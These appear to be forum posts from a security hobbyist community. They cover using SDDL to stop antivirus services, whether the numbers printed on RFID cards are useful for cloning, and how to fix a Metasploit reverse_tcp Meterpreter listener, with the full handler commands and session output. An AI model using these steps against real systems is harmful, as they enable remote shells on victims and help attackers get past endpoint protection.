[Using SDDL to change AV Permissions]

Hi,

Is anyone familiar with a technique that uses SDDL to change the permission of a service you wouldn't normally have access to stop?

Similar to here https://cqureacademy.com/blog/windows-internals/sddl

If I create a dummy service I can change the permissions but on processes like Defender and Kaspersky I get access denied even if I use psexec to escalate to nt authority... not sure if I'm doing something wrong or if it's just not possible? 

[RFID number printed on card]

So basically if you have that number you could just make your own card?

I would have thought the numbers are not the actual code that is sent to the reader but rather the result of the cards code being run through some kind of one way hashing etc.

[RFID number printed on card]

I don't know too much about these RFID cards other than they are pretty easy to clone if you are close enough.

 

But they often have numbers printed on the cards, can anyone tell me what the numbers usually are and if they would be useful to an attacker in anyway?
From what i can tell they can't do much with these numbers and I assume they are generated via a one way algorithm?

[Meterpreter/listener not working]

This seems to have happened  after I updated metasploit, I want the meterpreter to show as soon as the connection from the Target is made.

I changed the below which resolved the problem.

• edit modules/exploits/multi/handler.rb to remove 'Stance' => Msf::Exploit::Stance::Passive

[Meterpreter/listener not working]

Hi Guys,

I can't figure out what I am doing wrong or if there is something wrong with my Metasploit setup

v4.16.7

I have created a basic reverse_tcp payload with msfvenom, when I start my listener I do the following

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.8
LHOST => 192.168.0.8
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.0.8:4444 
msf exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.7:50298) at 2017-10-25 16:05:13 -0400

I am expecting to see a meterpreter but nothing...

What's weird is I have watched a few tutorials and after typing exploit the console "waits" for the payload to be executed, once that happens the interpreter appears, but after I type exploit the console does not wait, I got straight back to msf exploit(handler) >

Any help much appreciated. 

[Newsworthy Suggestions]

Hey All,

Long time watcher of Hak5 and ThreatWire, thought I would finally get myself a forum account.

Thought this was pretty news worthy, I was affected personally by this hack.

They took my company card for $5K before it was blocked.

http://thehackernews.com/2017/04/hotel-data-breach.html